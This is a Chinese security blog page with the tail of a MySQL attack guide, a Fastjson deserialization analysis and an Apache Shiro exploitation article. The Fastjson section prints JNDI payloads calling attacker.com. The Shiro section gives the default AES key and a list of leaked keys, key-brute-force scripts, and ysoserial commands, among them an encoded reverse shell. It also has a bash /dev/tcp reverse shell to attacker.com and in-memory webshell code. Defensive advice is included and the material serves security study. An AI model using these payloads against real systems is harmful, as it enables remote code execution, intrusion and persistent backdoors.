UDF提权 SELECT * FROM mysql.func; SHOW VARIABLES LIKE 'plugin_dir'; 第二章
文件读写 SELECT LOAD_FILE('/etc/passwd'); 第四章
日志写入WebShell SHOW VARIABLES LIKE 'general_log%'; 第四章4.3节
SUID提权 find / -perm -4000 -type f 2>/dev/null \| grep mysql 第七章7.3节

11.5 后门检测

-- 触发器、存储过程、事件、视图(参见 7.5-7.7, 7.12 节)
SELECT TRIGGER_SCHEMA, TRIGGER_NAME, ACTION_STATEMENT FROM information_schema.TRIGGERS;
SELECT ROUTINE_SCHEMA, ROUTINE_NAME, ROUTINE_DEFINITION FROM information_schema.ROUTINES WHERE ROUTINE_TYPE='PROCEDURE';
SELECT EVENT_SCHEMA, EVENT_NAME, EVENT_DEFINITION, STATUS FROM information_schema.EVENTS;
SELECT TABLE_SCHEMA, TABLE_NAME, VIEW_DEFINITION, SECURITY_TYPE FROM information_schema.VIEWS;

11.6 渗透测试报告模板

# MySQL安全评估报告

## 1. 目标信息
- 服务器地址:xxx.xxx.xxx.xxx
- MySQL版本:x.x.x
- 操作系统:Linux/Windows

## 2. 发现的漏洞

### 高危漏洞
- [ ] 存在空密码账号
- [ ] root账号允许远程登录
- [ ] 存在SQL注入漏洞
- [ ] FILE权限配置不当,可读写任意文件
- [ ] 存在已知CVE漏洞(CVE-xxxx-xxxx)
- [ ] 可通过UDF提权

### 中危漏洞
- [ ] 弱密码账号
- [ ] 权限配置过大
- [ ] 未启用SSL加密
- [ ] 日志配置不当
- [ ] 存在可疑的触发器/存储过程
- [ ] 使用DEFINER视图暴露敏感数据

### 低危漏洞
- [ ] 版本信息泄露
- [ ] 配置信息泄露
- [ ] 未启用连接控制插件

## 3. 修复建议
(根据发现的漏洞提供具体修复方案)

十二、总结

MySQL的攻击面非常广泛,本文涵盖了以下主要攻击向量:

1. 注入类攻击

  • SQL注入(联合查询、报错、布尔盲注、时间盲注、堆叠注入)
  • 预处理语句绕过WAF
  • 宽字节注入(字符集转换绕过)
  • 注释绕过

2. 提权类攻击

  • UDF提权(自定义函数执行系统命令)
  • MOF提权(⚠️ 历史遗留,仅 Windows 2000/XP/2003)
  • SUID提权(利用特殊权限位)

3. 文件操作类攻击

  • 任意文件读取(LOAD_FILE)
  • 任意文件写入(INTO OUTFILE/DUMPFILE)
  • 日志投毒(general_log、slow_query_log)

4. 认证与授权类攻击

  • 弱口令爆破
  • 并发条件竞争绕过(CVE-2012-2122)
  • 视图DEFINER提权
  • 配置文件注入(CVE-2016-6662)

5. 持久化类攻击

  • 触发器后门(Trigger Backdoor)
  • 存储过程后门(Stored Procedure)
  • 事件调度器后门(Event Scheduler)

6. 信息泄露类攻击

  • 版本信息泄露
  • 用户信息泄露
  • 配置信息泄露
  • 进程列表泄露

7. 网络类攻击

  • UNC路径触发NTLM认证(Windows)
  • 恶意MySQL服务端读取客户端文件(Fake MySQL Server)
  • DNS外带数据
  • MySQL Proxy中间人攻击

8. 拒绝服务类攻击

  • ReDoS(正则表达式DoS)
  • 笛卡尔积资源耗尽
  • 递归查询栈溢出

9. 主从复制类攻击

  • 从库劫持
  • 复制链路窃听

10. 历史重大CVE漏洞

  • CVE-2012-2122(认证绕过)
  • CVE-2016-6662(配置文件注入RCE)
  • CVE-2016-6663(条件竞争提权)
  • CVE-2016-6664(错误日志提权到root)
  • CVE-2023-21980(Client程序漏洞)
  • CVE-2024-21201(Optimizer DoS)

防御建议总结

网络层防护:

  • 禁止MySQL端口暴露在公网
  • 使用防火墙限制访问来源
  • 启用SSL/TLS加密传输,设置 require_secure_transport=ON
  • 修改默认端口3306
  • 同时限制X Protocol端口33060

认证层防护:

  • 删除匿名用户和test数据库
  • 禁止root远程登录
  • 启用强密码策略(validate_password组件)
  • 使用 caching_sha2_password 认证插件
  • 安装 connection_control 插件防暴力破解
  • 配置密码过期和历史策略

权限层防护:

  • 遵循最小权限原则
  • 应用账号禁止授予FILE、SUPER等高危权限
  • 使用角色(Roles)统一管理权限
  • 定期审计用户权限
  • 及时删除不再使用的账号

文件系统层防护:

  • 设置 secure_file_priv = NULL 禁止文件操作
  • 插件目录权限设为仅MySQL可读
  • MySQL服务以低权限用户运行
  • 关闭生产环境的general_log

应用层防护:

  • 所有SQL查询使用预编译语句/参数化查询
  • 统一使用UTF-8编码,防止宽字节注入
  • 输入进行白名单验证
  • 错误信息不要暴露给前端
  • 使用WAF作为辅助防御

监控与审计:

  • 定期审计UDF、触发器、存储过程、事件、视图
  • 监控异常登录和查询行为
  • 启用审计日志记录敏感操作
  • 定期检查配置文件是否被篡改

版本管理:

  • 保持MySQL在最新稳定版本
  • 及时修补已知安全漏洞
  • 关注MySQL官方安全公告(Oracle Critical Patch Updates)

安全加固需要从网络层、认证层、权限层、文件系统层、应用层等多个维度进行纵深防御。没有绝对的安全,只有持续的监控和不断的改进。


参考资源

  • MySQL官方安全指南
  • OWASP SQL注入防护备忘单
  • CVE-2012-2122 MySQL认证绕过漏洞
  • CVE-2016-6662 MySQL配置文件注入漏洞
  • CVE-2016-6663/6664 MySQL权限提升漏洞
  • MySQL UDF提权技术详解
  • Percona MySQL审计插件
  • Oracle MySQL Critical Patch Updates

免责声明:本文仅供安全研究和学习交流使用,请勿用于非法用途。未经授权对他人系统进行渗透测试属于违法行为。使用本文内容造成的任何后果,作者不承担任何责任。

阅读全文 »

Fastjson反序列化漏洞深度剖析

发表于 2026-02-16 | 分类于 安全 , 漏洞分析 |

Fastjson反序列化漏洞深度剖析

摘要

Fastjson是阿里巴巴开源的Java语言开发的JSON处理器,因其高性能和易用性,在Java生态系统中被广泛使用。然而,Fastjson也因其反序列化机制,多次被爆出严重的安全漏洞,允许攻击者执行任意代码(RCE)。本文将深入剖析Fastjson反序列化漏洞的原理、攻击方式,并提供防御措施。

1. 什么是Fastjson?

Fastjson是一个Java库,用于在Java对象和JSON数据之间进行转换。它提供toJSONString()方法将Java对象序列化为JSON字符串,以及parseObject()和parseArray()等方法将JSON字符串反序列化为Java对象。

2. 反序列化漏洞概述

反序列化漏洞是指程序在处理不可信用户输入的反序列化数据时,由于没有对数据进行严格的校验,导致攻击者可以通过构造恶意的序列化数据,在目标系统上执行任意代码或造成其他危害。

3. Fastjson反序列化漏洞原理

Fastjson在反序列化时,特别是当使用parseObject(json_string, Object.class)或JSON.parse(json_string)等方法,并且JSON字符串中包含@type字段时,Fastjson会根据@type字段指定的类名去实例化对应的类。如果攻击者能够控制@type字段的值,并指定一个恶意类(例如,一个可以在构造函数或特定方法中执行命令的类),那么在Fastjson尝试实例化该类时,就会触发恶意代码的执行。

— 漏洞成因深度剖析 —

Fastjson反序列化漏洞的根本原因在于其核心的AutoType(自动类型)机制。为了在序列化和反序列化过程中保留Java对象的完整类型信息,Fastjson允许在JSON字符串中添加一个@type字段来指定对象的具体类型。当Fastjson进行反序列化操作时,如果检测到@type字段,它会:

  1. 动态加载类:使用Java的反射机制,根据@type字段中指定的完整类名(如com.sun.rowset.JdbcRowSetImpl),动态地加载对应的Class对象。
  2. 实例化对象:通过反射调用该类的无参构造函数(如果存在)来实例化一个对象。
  3. 调用Setter方法:将JSON中对应字段的值,通过反射调用该实例化对象的setter方法进行赋值。

问题在于,Fastjson在早期版本中默认信任并动态加载了来自不可信源的任意类。当攻击者能够控制@type字段的值时,他们就可以指定任何存在于应用classpath中的类。如果这个被指定的类在实例化或其setter方法被调用时会产生副作用(例如,触发JNDI查找、执行系统命令等),那么攻击者就可以利用这种机制,在反序列化过程中执行任意代码,从而造成远程代码执行(RCE)。

3.1 攻击链分析

典型的Fastjson反序列化攻击链如下:

  1. 寻找可利用的Gadget:攻击者需要找到一个在反序列化过程中会被调用,并且能够执行恶意操作的Java类和方法(称为Gadget)。这些Gadget通常是JDK自带的类或常用第三方库中的类。
  2. 构造恶意JSON数据:攻击者构造包含@type字段和恶意数据(如JNDI连接、URLClassloader等)的JSON字符串。
    {
        "your_key": {
            "@type": "com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName": "ldap://attacker.com:1389/Exploit",
            "autoCommit": true
        }
    }
    

    或(更直接的@type利用方式)

    {
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    {
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://attacker.com:1389/Exploit",
        "autoCommit":true
    }
    
  3. 发送恶意JSON数据:将构造好的JSON数据发送给使用Fastjson进行反序列化的目标应用。
  4. Fastjson反序列化触发:目标应用使用Fastjson对恶意JSON数据进行反序列化,识别到@type字段后,尝试加载并实例化指定的恶意类。
  5. 恶意代码执行:在恶意类的实例化或特定方法调用过程中,触发攻击者预设的恶意操作,例如通过JNDI加载远程类并执行其中的代码。

— 完整的调用链示例:基于com.sun.rowset.JdbcRowSetImpl的JNDI注入 —

为了更直观地理解Fastjson反序列化导致RCE的完整过程,我们以一个经典的JdbcRowSetImpl作为Gadget,结合JNDI注入,来详细剖析其内部调用链。

恶意JSON Payload:

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://attacker.com:1389/Exploit",
    "autoCommit": true
}

内部调用流程解析:

  1. Fastjson解析@type字段:当Fastjson接收到上述JSON字符串并尝试反序列化时,首先会解析到"@type": "com.sun.rowset.JdbcRowSetImpl"。
  2. 加载并实例化JdbcRowSetImpl:
    • Fastjson利用反射机制,通过Class.forName("com.sun.rowset.JdbcRowSetImpl")加载JdbcRowSetImpl类。
    • 随后,调用其无参构造函数new com.sun.rowset.JdbcRowSetImpl(),创建一个JdbcRowSetImpl实例。
  3. 调用Setter方法进行属性赋值:
    • Fastjson继续解析JSON中其余字段。遇到"dataSourceName": "ldap://attacker.com:1389/Exploit"时,会调用JdbcRowSetImpl实例的setDataSourceName("ldap://attacker.com:1389/Exploit")方法,将JNDI地址设置进去。
    • 遇到"autoCommit": true时,Fastjson会调用JdbcRowSetImpl实例的setAutoCommit(true)方法。
  4. 触发JNDI查找:
    • JdbcRowSetImpl类中的setAutoCommit(boolean)方法有一个特性:当其参数为true时,内部会隐式调用connect()方法。
    • connect()方法会尝试建立数据库连接。在建立连接之前,它会使用dataSourceName属性来查找数据源。由于dataSourceName被设置为ldap://attacker.com:1389/Exploit,connect()方法会触发一次JNDI查找,尝试从LDAP服务器attacker.com:1389获取名为Exploit的对象。
  5. 恶意LDAP服务器响应:
    • 攻击者在attacker.com:1389上搭建了一个恶意的LDAP服务器。当接收到目标应用的JNDI查找请求时,恶意LDAP服务器会返回一个恶意的Reference对象。
    • 这个Reference对象通常指向一个由攻击者控制的Web服务器上的Java类文件(例如,http://attacker.com/Exploit.class)。
  6. 加载并执行恶意类:
    • 目标应用在接收到恶意的Reference对象后,会根据其中指定的URL,尝试从攻击者的Web服务器下载Exploit.class文件。
    • 下载后,Java虚拟机(JVM)会加载并实例化这个Exploit类。如果Exploit类在其构造函数或静态代码块中包含恶意代码(如Runtime.exec("command")),则这些代码会在目标服务器上执行,从而实现RCE。

整个链条利用了Fastjson的AutoType机制,结合JDK内置类的特殊行为(Gadget)和JNDI服务的特性,最终实现了远程代码执行。这个过程无需程序显式地调用任何敏感方法,仅通过反序列化即可完成。

4. 历史版本漏洞及攻击Payload示例

本节将列举Fastjson历史上著名的漏洞版本及其对应的攻击Payload示例,展现其防护机制与绕过手法的演进。

4.1 Fastjson 1.2.24以下版本:JNDI注入的狂欢

在Fastjson 1.2.24及更早版本中,AutoType机制默认是开启的,并且没有任何黑名单或白名单的限制。这意味着攻击者可以指定任意存在于classpath中的类进行加载和实例化。结合Java的JNDI(Java Naming and Directory Interface)功能,攻击者可以轻易地利用一些JDK内置的、具备JNDI查找能力的类(Gadget)实现远程代码执行。

典型Payload示例:利用com.sun.rowset.JdbcRowSetImpl

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://[ATTACKER_LDAP_SERVER]:1389/Exploit",
    "autoCommit": true
}

说明:当Fastjson反序列化此Payload时,会实例化JdbcRowSetImpl对象,并通过setDataSourceName设置LDAP服务器地址,autoCommit设置为true会触发connect()方法,进而执行JNDI查找,最终从[ATTACKER_LDAP_SERVER]加载并执行恶意类。

4.2 Fastjson 1.2.25 - 1.2.47版本:AutoType黑名单与Bypass

为了修复1.2.24版本之前的RCE问题,Fastjson在1.2.25版本引入了AutoType的黑名单机制,试图阻止一些已知危险类的加载。然而,安全研究人员很快发现,通过构造特殊的JSON格式,可以绕过这些黑名单限制。

典型Payload示例:利用L前缀或[[绕过黑名单

例如,利用L前缀可以绕过对com.sun.rowset.JdbcRowSetImpl的直接限制:

{
    "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName": "ldap://[ATTACKER_LDAP_SERVER]:1389/Exploit",
    "autoCommit": true
}

说明:Fastjson在进行黑名单校验时,可能只对完整的类名进行匹配,而Java类型描述符中的L<ClassName>;形式,或者[[<ClassName>形式(表示数组类型)能够成功绕过黑名单的校验逻辑,从而达到加载被禁类的目的。

4.3 Fastjson 1.2.48 - 1.2.68版本:更加严格的黑名单与更复杂的Bypass

随着绕过技术的不断出现,Fastjson不断加强黑名单的覆盖范围和匹配逻辑。但是,攻击者也找到了更多巧妙的Bypass方法,例如利用java.lang.Class来间接引用危险类,或者利用其他不在黑名单中的Gadget。

典型Payload示例:利用java.lang.Class间接引用

{
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
},
{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://[ATTACKER_LDAP_SERVER]:1389/Exploit",
    "autoCommit": true
}

说明:这种方式先通过java.lang.Class类型将JdbcRowSetImpl加载到 JVM 的缓存中,之后第二次反序列化时,Fastjson 会直接从缓存中获取该类,从而绕过黑名单的检测。

4.4 Fastjson 1.2.68及更高版本:SafeMode与强力防护

从Fastjson 1.2.68版本开始,引入了SafeMode模式,这是Fastjson对反序列化漏洞防护的一个里程碑式改进。当启用SafeMode时:

  • 默认禁用AutoType:除非显式地通过白名单配置,否则所有的@type字段都将被忽略。这大大减少了攻击面。
  • 黑名单增强:即使在非SafeMode下,也持续更新并强化了内部黑名单。

SafeMode的重要性:启用SafeMode后,Fastjson反序列化攻击的难度大幅增加。攻击者需要发现新的、未被Fastjson内置黑名单覆盖且在白名单之外的Gadget才能进行攻击,这在实践中极为困难。强烈推荐所有Fastjson用户开启SafeMode。

4.5 Fastjson 1.2.80+版本:持续强化与默认安全

在Fastjson 1.2.80及更高版本中,Fastjson的安全性得到了进一步的强化,主要体现在:

  • 默认配置更安全:默认情况下,AutoType是关闭的,SafeMode可能被激活或其安全特性被集成。
  • 白名单机制优化:在需要开启AutoType的场景下,白名单机制得到了优化,要求配置更加严格和明确。
  • 持续漏洞修复:针对发现的任何潜在漏洞,官方团队会迅速发布补丁。

总而言之,Fastjson的防护策略从最初的无限制,到黑名单,再到默认禁用AutoType并引入SafeMode,以及后续持续的强化,展现了其在安全对抗上的演进。对于开发者而言,始终使用最新版本的Fastjson,并严格遵循其安全配置建议是至关重要的。

5. 防御与修补措施

Fastjson反序列化漏洞的危害巨大,但通过采取一系列有效的防御措施,可以显著降低受攻击的风险。以下是推荐的防御与修补策略:

5.1 升级Fastjson版本

这是最直接且最重要的防御措施。 Fastjson官方团队一直在积极修复已知漏洞并加强安全防护。因此,务必将项目使用的Fastjson库升级到最新稳定版本。新版本通常包含对历史漏洞的修复,并可能引入更安全的默认配置和机制(如增强的黑白名单、SafeMode等)。

5.2 开启SafeMode

从Fastjson 1.2.68版本开始引入的SafeMode模式是抵御反序列化攻击的强大武器。当启用SafeMode后,Fastjson会默认禁用AutoType,除非明确在白名单中配置的类才能被反序列化。这大幅收窄了攻击面。

如何开启SafeMode:

// 方法一:全局配置
JSON.DEFAULT_GENERATE_FEATURE |= SerializerFeature.WriteClassName.mask;
ParserConfig.getGlobalInstance().setSafeMode(true);

// 方法二:通过系统属性配置(推荐,无需修改代码)
// 在JVM启动参数中添加:-Dfastjson.parser.safeMode=true

// 方法三:通过fastjson.properties文件配置
// 在classpath下创建fastjson.properties文件,内容为:
// fastjson.parser.safeMode=true

5.3 禁用AutoType

如果你的业务场景不需要Fastjson的@type机制来处理多态对象,或者你对反序列化的类型有明确的控制,那么彻底禁用AutoType是一个非常安全的做法。禁用AutoType后,Fastjson将不会解析JSON中的@type字段,从而消除了一大类反序列化攻击的威胁。

如何禁用AutoType:

// 方法一:全局禁用(推荐,如果业务不需要AutoType)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

// 方法二:针对单个Parser禁用(Fastjson >= 1.2.68 支持 SafeMode)
ParserConfig config = new ParserConfig();
config.setSafeMode(true);
JSON.parseObject(jsonStr, TargetClass.class, config);

注意:在更高版本的Fastjson中,AutoType默认就是关闭的,无需额外禁用。但在旧版本中,显式禁用是必要的。

5.4 严格的输入校验和白名单机制

即使采取了上述措施,对来自外部的JSON输入进行严格的校验仍然是至关重要的纵深防御策略。

  • 结构校验:验证JSON的整体结构是否符合预期,例如字段数量、嵌套层级等。
  • 字段白名单:只允许接收业务逻辑中明确定义的字段,对于未知的字段直接拒绝或忽略。
  • 类型白名单:如果必须开启AutoType,务必配置严格的类型白名单。只允许反序列化业务所需的特定类,而不是任意类。

示例:配置白名单

// 假设com.example.User是允许反序列化的类
ParserConfig.getGlobalInstance().addAccept("com.example.User");
// 或者通过系统属性:-Dfastjson.parser.autoTypeAccept=com.example.User,com.example.Product

5.5 最小化权限原则

无论Fastjson漏洞是否存在,遵循最小化权限原则都是普适的安全实践。

  • JVM权限最小化:运行Java应用程序的JVM应使用具有最低必要权限的用户账户。
  • 系统权限最小化:即使攻击成功并执行了RCE,受限的用户权限也能在一定程度上限制攻击者在服务器上能进行的操作,例如无法写入关键文件、无法执行特权命令等。

5.6 安全编码实践

  • 避免使用不安全的JDK版本:某些老旧的JDK版本在RMI/LDAP等相关组件中存在已知漏洞(例如,JDK 6u45, 7u21之前的版本),这些漏洞可能与Fastjson的JNDI注入攻击结合,导致更严重的后果。建议升级JDK版本到最新稳定版。
  • 审慎引入第三方依赖:引入新的第三方库时,要评估其安全性。避免引入包含已知漏洞或不安全功能的库。
  • 代码审计:定期对使用Fastjson的代码进行安全审计,特别是那些处理外部输入的反序列化操作。
  • 异常处理:确保在Fastjson反序列化失败时,能够捕获并安全地处理异常,避免敏感信息泄露。

通过综合应用这些防御措施,可以构建一个相对安全的Fastjson使用环境,有效防范反序列化漏洞的攻击。

6. 总结与展望

6.1 总结

Fastjson作为Java生态中广泛使用的JSON处理库,其AutoType机制在提供便利性的同时,也为反序列化漏洞埋下了伏笔。从早期的无限制AutoType,到后续的黑名单、绕过技术,再到SafeMode的引入和AutoType默认禁用,Fastjson的安全性演进史,实则是一部与攻击者持续对抗的攻防史。其核心原理在于,当Fastjson被诱导动态加载并实例化不可信的、带有副作用的类时,即可造成远程代码执行(RCE),对系统安全构成严重威胁。理解这些漏洞的成因、攻击链和历史演变,对于开发者和安全研究人员而言至关重要。

6.2 展望

反序列化漏洞并非Fastjson独有,它是许多序列化库和协议面临的共性安全挑战。随着新的Java特性、新的第三方库和新的攻击技术不断涌现,新的Gadget链和绕过手法也可能随之浮现。未来的安全防护将更加注重以下几点:

  • 默认安全原则:库和框架应默认采用最安全的配置,将不安全的功能默认关闭,只有在明确需要且用户理解风险的情况下才允许开启。
  • 深度防御:不仅仅依赖于单个防护点(如黑名单),而应结合多层级的防御策略,包括:安全的编码实践、严格的输入校验、最小化权限原则、运行时安全监控等。
  • 持续安全更新:无论是Fastjson或其他任何库,及时关注官方的安全公告,并升级到最新版本,是维护系统安全不可或缺的一环。
  • 安全意识培养:提高开发人员的安全意识,使其在设计、编码和测试阶段就能识别并避免潜在的安全风险,从源头上减少漏洞的产生。

Fastjson反序列化漏洞的攻防实践告诉我们,信息安全是永无止境的对抗。唯有不断学习、不断进化,才能更好地保护我们的系统和数据。

阅读全文 »

Apache Shiro安全配置与漏洞利用

发表于 2026-02-16 | 分类于 Java安全 , Web安全 |

Apache Shiro安全配置与漏洞利用

Apache Shiro是一个功能强大且易于使用的Java安全框架,提供了认证、授权、加密和会话管理功能。然而,由于其设计缺陷和配置不当,Shiro成为了Java Web应用中最常见的攻击入口之一。本文将从攻击者视角全面梳理Shiro的各个攻击面,并给出对应的防御方案。


一、Apache Shiro基础

1.1 什么是Apache Shiro

Apache Shiro是一个轻量级的Java安全框架,主要功能包括:

  • Authentication(认证):验证用户身份,即登录
  • Authorization(授权):访问控制,判断用户是否有权限执行某操作
  • Session Management(会话管理):管理用户会话,即使在非Web环境下
  • Cryptography(加密):使用加密算法保护数据安全

1.2 Shiro核心组件

Subject(主体)
    ↓
SecurityManager(安全管理器)
    ↓
Realm(领域)
    ↓
数据源(数据库、LDAP等)

核心概念:

  • Subject:当前操作用户,可以是人也可以是第三方服务
  • SecurityManager:安全管理器,Shiro的核心,管理所有Subject
  • Realm:域,Shiro从Realm获取安全数据(用户、角色、权限)
  • Session:会话,Shiro提供的会话管理
  • Cryptography:加密组件,用于加密和解密

1.3 Shiro的RememberMe机制

Shiro的RememberMe功能允许用户在关闭浏览器后仍然保持登录状态。其工作流程:

  1. 用户登录时勾选”记住我”
  2. Shiro将用户信息序列化
  3. 使用AES加密序列化数据
  4. Base64编码后存储在Cookie中(rememberMe字段)
  5. 下次访问时,Shiro读取Cookie
  6. Base64解码 → AES解密 → 反序列化 → 恢复用户信息

这个机制是Shiro最大的安全隐患所在。


二、Shiro反序列化漏洞

2.1 Shiro-550(CVE-2016-4437)

这是Shiro历史上最严重的漏洞,影响范围极广。

漏洞原理: Shiro 1.2.4及之前版本使用硬编码的AES密钥加密RememberMe Cookie。攻击者可以:

  1. 使用已知密钥构造恶意序列化对象
  2. AES加密后Base64编码
  3. 发送恶意Cookie
  4. 服务端解密并反序列化,触发RCE

硬编码密钥:

// org.apache.shiro.mgt.AbstractRememberMeManager
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode(
    "kPH+bIxk5D2deZiIxcaaaA=="
);

受影响版本:

  • Apache Shiro < 1.2.5

漏洞利用:

利用工具:shiro_tool.jar 或 ShiroExploit

# 使用 ShiroExploit 进行漏洞检测
java -jar ShiroExploit.jar -t http://target.com/login

# 验证密钥是否存在
python3 shiro_exploit.py -u http://target.com/login -k "kPH+bIxk5D2deZiIxcaaaA=="

利用链选择:

利用链 依赖要求 适用场景 成功率
CommonsBeanutils1 无特殊依赖 通用 ★★★★★
CommonsCollections2/3/4 commons-collections 存在依赖时 ★★★★☆
Spring1/Spring2 Spring框架 Spring项目 ★★★☆☆
Jdk7u21 JDK < 7u21 老版本JDK ★★★☆☆

CommonsBeanutils1 为什么不需要依赖?

// Shiro 本身依赖了 commons-beanutils
// org.apache.shiro:shiro-core -> commons-beanutils:commons-beanutils

// 利用链原理:
// PriorityQueue.readObject() 
//   -> TransformingComparator.compare()
//     -> BeanComparator.compare()
//       -> PropertyUtils.getProperty()
//         -> TemplatesImpl.getOutputProperties()
//           -> 加载恶意字节码

ysoserial 生成 Payload:

# 基础用法
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/pwned" > payload.bin

# 结合 JRMP 监听器
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc.exe"

# 生成 base64 编码的 payload
java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=}|{base64,-d}|{base64,-d}|{bash,-i}" | base64

依赖检测方法:

# 1. 检查 lib 目录
ls WEB-INF/lib/ | grep -E "commons-collections|spring"

# 2. 错误回显判断
# 发送 payload 后,如果返回 500 且包含 ClassNotFoundException
# 说明缺少对应依赖

# 3. 使用 dnslog 探测
# 分别尝试不同利用链,看哪个能触发 DNS 请求

2.2 Shiro-721(CVE-2019-12422)

漏洞原理: Shiro 1.2.5-1.4.1 版本使用 AES-128-CBC 加密,密钥虽然不再硬编码,但使用了 Padding Oracle Attack(填充预言攻击)可以逆向破解密钥。

攻击条件:

  1. 需要任意一个有效的 rememberMe Cookie
  2. 服务端使用 CBC 模式加密
  3. 可以观察到不同的错误响应(解密失败 vs 反序列化失败)

利用过程:

# 使用 rememberMe 字段进行 Padding Oracle 攻击
# 逐步修改密文,观察响应差异
# 最终解密出 AES 密钥

受影响版本:

  • Apache Shiro 1.2.5 - 1.4.1

2.3 Shiro-778(CVE-2021-41303)

漏洞原理: Shiro 1.7.0 版本之前的 RegExPatternMatcher 存在缺陷,攻击者可以通过构造包含控制字符的路径绕过权限检查。

绕过方式:

/admin/user → 需要认证
/admin/user%0a → 绕过认证(%0a 是换行符)
/admin/user%0d → 绕过认证(%0d 是回车符)

根本原因: 正则表达式匹配时未对控制字符做过滤,导致匹配失败但实际访问成功。

受影响版本:

  • Apache Shiro < 1.7.1

2.4 其他高危漏洞

CVE-2022-40664 - 认证绕过

漏洞原理: Shiro 1.10.0 之前的版本,当使用 RegexRequestMatcher 时,可能导致身份验证绕过。

影响:

  • Apache Shiro < 1.10.0

修复方案: 升级到 1.10.0 或以上版本。

2.5 Shiro权限绕过漏洞

2.5.1 CVE-2020-11989

漏洞原理: Shiro 与 Spring 集成时,URL 解析差异导致权限绕过。

绕过方式:

正常访问:/admin/user → 需要认证
绕过路径:/admin/user/ → 绕过认证
          /admin/user/. → 绕过认证

根本原因:

  • Shiro:PathMatchingFilter 使用 endsWith 匹配
  • Spring:@RequestMapping 会规范化路径

2.3.2 CVE-2020-13933

漏洞原理: 编码问题导致的权限绕过。

绕过方式:

/admin/user  → 需要认证
/admin/%3buser → 绕过认证(;编码为%3b)
/admin/%2euser → 绕过认证(.编码为%2e)

2.3.3 CVE-2020-17510

漏洞原理: Shiro 1.5.0-1.5.3 在处理 URL 路径时的缺陷。

绕过方式:

/admin/user → 需要认证
/admin/user/..;/index → 绕过认证

完整利用流程示例:

场景:某系统使用 Shiro 1.2.4,发现 rememberMe=deleteMe

# Step 1: 确认存在 Shiro
➜ curl -s -o /dev/null -w "%{http_code}" http://target.com/login -H "Cookie: rememberMe=test"
200
# 查看响应头包含 rememberMe=deleteMe,确认存在 Shiro

# Step 2: 使用工具检测密钥
➜ python3 shiro.py -u http://target.com/login
[+] 正在检测密钥...
[+] 发现密钥: kPH+bIxk5D2deZiIxcaaaA==

# Step 3: 尝试执行命令
➜ python3 shiro.py -u http://target.com/login -k "kPH+bIxk5D2deZiIxcaaaA==" -c "whoami"
[+] 目标系统: Linux
[+] 命令执行成功: www-data

# Step 4: 获取 Shell
# 本地监听
➜ nc -lvvp 4444

# 发送反弹 shell payload
➜ python3 shiro.py -u http://target.com/login -k "kPH+bIxk5D2deZiIxcaaaA==" \
  -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"

# Step 5: 注入内存马(可选)
# 通过反序列化注入 Filter 型内存马
# 访问: http://target.com/?cmd=whoami

三、Shiro漏洞实战利用

3.1 信息收集

识别 Shiro 应用:

  1. Cookie 特征:
    Set-Cookie: rememberMe=deleteMe
    
  2. 响应头特征:
    X-Powered-By: Shiro
    
  3. URL 特征:
    • /login
    • /logout
    • /unauthorized

检测脚本:

import requests

def detect_shiro(url):
    headers = {
        'Cookie': 'rememberMe=test'
    }
    resp = requests.get(url, headers=headers, allow_redirects=False)
    
    if 'rememberMe=deleteMe' in str(resp.headers):
        print(f"[+] {url} 可能存在 Shiro 漏洞")
        return True
    return False

3.2 密钥爆破

常见密钥列表:

Shiro 官方默认密钥(1.2.4及之前):

kPH+bIxk5D2deZiIxcaaaA==

网上公开的常见密钥(收集自GitHub、漏洞复现文章):

wGiHplamyXlVB11UXWol8g==
4AvVhmFLUs0KTA3Kprsdag==
fCq+/xW488hMTCD+cmJ3aQ==
1QWLxg+NYmxraMoxAXu/Iw==
Z3VucwAAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
U3ByaW5nQmxhZGUAAAAAAA==
MWJjNmQ3MjEzMzZjODM2NQ==
ZGVmYXVsdF9jaXBoZXJrZXk=
2itfHvFqDZF7Htc1vT1wcQ==
QJpM8T7rSZAGXvF0QwKoQA==

密钥收集工具:

# 使用 fofa 语法搜索 Shiro 应用
title="Shiro" && body="rememberMe"

# 使用 nuclei 批量检测
nuclei -l urls.txt -t shiro-detection.yaml

# 使用 xray 主动扫描
xray webscan --plugins shiro --url http://target.com

爆破脚本:

import base64
import requests
from Crypto.Cipher import AES

def check_key(url, key):
    # 构造序列化 payload(简单的 DNSLog)
    payload = b'\xac\xed...'  # ysoserial 生成的 payload
    
    # AES 加密
    cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, iv=b'1234567890123456')
    encrypted = cipher.encrypt(payload)
    
    # 发送请求
    cookie = base64.b64encode(encrypted).decode()
    resp = requests.get(url, cookies={'rememberMe': cookie})
    
    # 根据响应判断
    if 'deleteMe' not in resp.headers.get('Set-Cookie', ''):
        return True
    return False

3.3 回显与内存马

命令回显方法:

  1. Tomcat 回显:利用 Tomcat 全局存储 Response 对象
  2. Spring 回显:利用 RequestContextHolder 获取当前请求
  3. 字节码修改:修改关键类的 toString 方法

内存马注入:

// Filter 型内存马
Filter filter = new Filter() {
    @Override
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) {
        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            Runtime.getRuntime().exec(cmd);
        }
        chain.doFilter(req, resp);
    }
};
// 注册到 FilterChain

四、防御方案

4.1 升级版本

推荐版本:

  • Apache Shiro >= 1.7.1(修复已知所有绕过漏洞)
  • Apache Shiro >= 1.5.3(修复 Padding Oracle)
  • Apache Shiro >= 1.2.5(修复默认密钥)

Maven 依赖升级:

<dependency>
    <groupId>org.apache.shiro</groupId>
